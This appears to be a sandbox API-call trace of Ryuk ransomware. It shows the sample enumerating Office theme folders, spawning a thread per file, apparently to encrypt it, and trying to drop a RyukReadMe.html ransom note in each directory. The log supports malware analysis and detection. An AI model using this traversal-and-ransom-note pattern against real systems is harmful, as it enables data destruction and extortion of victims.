	[0169.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.746] GetLastError () returned 0x5
	[0169.746] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.747] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.747] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1
	[0169.747] SetLastError (dwErrCode=0x0) 
	[0169.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.747] GetLastError () returned 0x5
	[0169.747] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.747] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.748] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0169.748] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.748] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1
	[0169.748] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0169.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c
	[0169.752] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.752] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x8e, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1
	[0169.753] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0169.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760
	[0169.756] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.757] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0169.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0169.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764
	[0169.760] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.761] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0169.761] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0169.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768
	[0169.764] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.765] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0169.765] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0169.765] SetLastError (dwErrCode=0x0) 
	[0169.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.766] GetLastError () returned 0x5
	[0169.766] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.766] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.766] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1
	[0169.766] SetLastError (dwErrCode=0x0) 
	[0169.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.766] GetLastError () returned 0x5
	[0169.766] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.766] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0169.768] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.769] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x8e, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1
	[0169.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0169.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c
	[0169.771] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.772] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x8e, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1
	[0169.772] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0169.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770
	[0169.774] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.775] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0169.775] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0169.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774
	[0169.778] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.779] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0169.779] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0169.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778
	[0169.966] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.967] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0169.967] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0169.968] SetLastError (dwErrCode=0x0) 
	[0169.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.968] GetLastError () returned 0x5
	[0169.968] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.968] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.968] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1
	[0169.968] SetLastError (dwErrCode=0x0) 
	[0169.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.969] GetLastError () returned 0x5
	[0169.969] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.969] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0170.193] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0170.194] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x8e, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1
	[0170.194] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0
	[0170.197] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.198] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x8e, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1
	[0170.198] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4
	[0170.200] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.201] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0170.201] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8
	[0170.204] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.205] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0170.205] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac
	[0170.207] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.208] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0170.208] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0170.209] SetLastError (dwErrCode=0x0) 
	[0170.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.209] GetLastError () returned 0x5
	[0170.209] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.209] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.209] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1
	[0170.209] SetLastError (dwErrCode=0x0) 
	[0170.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.210] GetLastError () returned 0x5
	[0170.210] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.210] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.210] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
